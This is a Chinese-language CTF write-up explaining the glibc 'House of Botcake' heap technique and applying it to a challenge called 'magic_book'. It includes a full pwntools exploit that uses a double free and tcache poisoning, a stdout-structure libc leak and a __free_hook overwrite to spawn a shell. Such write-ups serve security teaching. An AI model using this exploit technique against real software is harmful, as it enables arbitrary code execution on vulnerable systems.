house of botcake
House of Botcake
先看看啥是house of botcake:https://forum.butian.net/index.php/share/1709
当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key
, 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。
从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:
- 破坏掉被 free 的堆块中的 key,绕过检查(常用)
- 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
- House of botcake(常用)
House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。
此外 House of botcake 在条件合适的情况下,极其容易完成多次任意分配堆块,是相当好用的手法。
示例
- 分配七个填充堆块(小于最大的Tcache,大于最大的Fastbin),一个辅助堆块 prev ,一个利用堆块 victim
// https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
malloc(0x10); // 防止合并
- free 掉七个填充堆块,此时对应大小的 Tcache 被填满
for(int i=0; i<7; i++){
free(x[i]);
}
- free 掉利用堆块 victim,由于此时 Tcache 被填满,victim 进入 Unsortedbin(绕过了 key 的产生)
free(victim);
- free 掉辅助堆块 prev,此时俩 Unsortedbin 相邻,会触发 Unsortedbin Consolidate 合并成一个大堆块
free(prev);
- 申请出一个堆块,此时会优先从 Tcache 中取出一个填充堆块腾出位置。然后再 Free 掉 victim ,victim 进入 Tcache,完成 Double Free
malloc(0x100);
/*VULNERABILITY*/
free(victim);// victim is already freed
/*VULNERABILITY*/
最终的效果就是完成了堆块重叠,一个大的 Unsortedbin 吞着一个小的 Tcachebin。通过切割 Unsortedbin 我们分配一个比 victim 稍大的堆块 attacker 就可以覆写到 victim 的 next 指针,完成 Tcache Poisoning。
由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。
magic_book
分析:总共3个功能:add(大小<=0x100),delete(无UAF),一次delete(有UAF)
add:
delete(无UAF):
onefree(有UAF,只能用一次):
解题思路:
先类似示例,用house of botcake构造tcache被unsorted bin包裹,double free实现tcache poisoning需要消耗唯一的一次能UAF的free。
此时可将tcache自带的0x55开头的堆地址的后四位,覆盖为包含具有0x7f开头libc附近的地址(main_arena)的堆的地址后四位,其实就是某一个unsorted bin的堆地址。然后利用重叠的堆,申请出一个新堆,修改0x7f开头main_arena地址的后四位,改为_IO_2_1_stdout_的后四位,然后不断malloc,最终拿到IO_2_1_stdout的flag位,直接覆盖为p64(0xfbad1887)+p64(0)3+p8(0),这样会打印出带有_IO_2_1_stdin_的地址,或者覆盖为p64(0xfbad1800)+p64(0)3+b"\x58",这样会打印出_IO_file_jumps的地址,此时完成泄露,得到libc基址
由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。
该题由于后续只能用无UAF的delete,故可以根据先前的构造,先free victim进入tcache,后free attacker去修改tcache->next,这里直接修改为__free_hook,然后malloc后往freehook写入system地址,随便free一个内容是/bin/sh的堆即可
PS:由于覆盖0x55开头的堆地址的后四位 和 修改0x7f开头main_arena地址的后四位 的高位均为随机,故需要爆破。
exp:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('127.0.0.1',6666)
binary="./pwn"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/pwn/libc')
elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
bp = lambda bkp :gdb.attach(p,'b *'+str(bkp))
def promise(size,content='/bin/sh\x00'):
sal('Your choice : ','1')
sal('Size: ',str(size))
sa('Content: ',content)
def recall(index):
sal('Your choice : ','2')
sal('Index: ',str(index))
def onefree(index):
sal('Your choice : ','9')
sal('Index: ',str(index))
def pwn():
for i in range(0,7):
promise(0xd0)
promise(0xd0)#prev
promise(0xd0)#victim
promise(0x10)
for i in range(0,7):
recall(i)
onefree(8)
recall(7)
promise(0xd0)
recall(8)
a=libc.sym['_IO_2_1_stdout_']&0xffff
stdout=[a,0x26a0]
pl='a'*0xd0+p64(0)+p64(0xe1)+'\xc0\xa9'
promise(0xf0,pl)#attacker
print hex(stdout[0])
promise(0xd0,'\xc0\xb9')
promise(0x80,p16(stdout[0]))
promise(0xd0,p16(stdout[0]))
promise(0xd0,p64(0xfbad1887)+p64(0)*3+p8(0))
leak=u64(ru('\x7f')[-6:].ljust(8,'\x00'))
libc_base=leak-libc.sym['_IO_2_1_stdin_']
print hex(leak)
print hex(libc_base)
recall(12)#free victim
recall(11)#free attacker
pl='a'*0xd0+p64(0)+p64(0xe1)+p64(libc.sym['__free_hook']+libc_base-8)
promise(0xf0,pl)
promise(0xd0)
pl=8*'a'+p64(libc.sym['system']+libc_base)
promise(0xd0,pl)
gdb.attach(p)
recall(10)
it()
#pwn()
while True:
try:
p=process(binary)
pwn()
except KeyboardInterrupt:
p.close()
break
except EOFError:
p.close()
continue
except:
p.close()
continue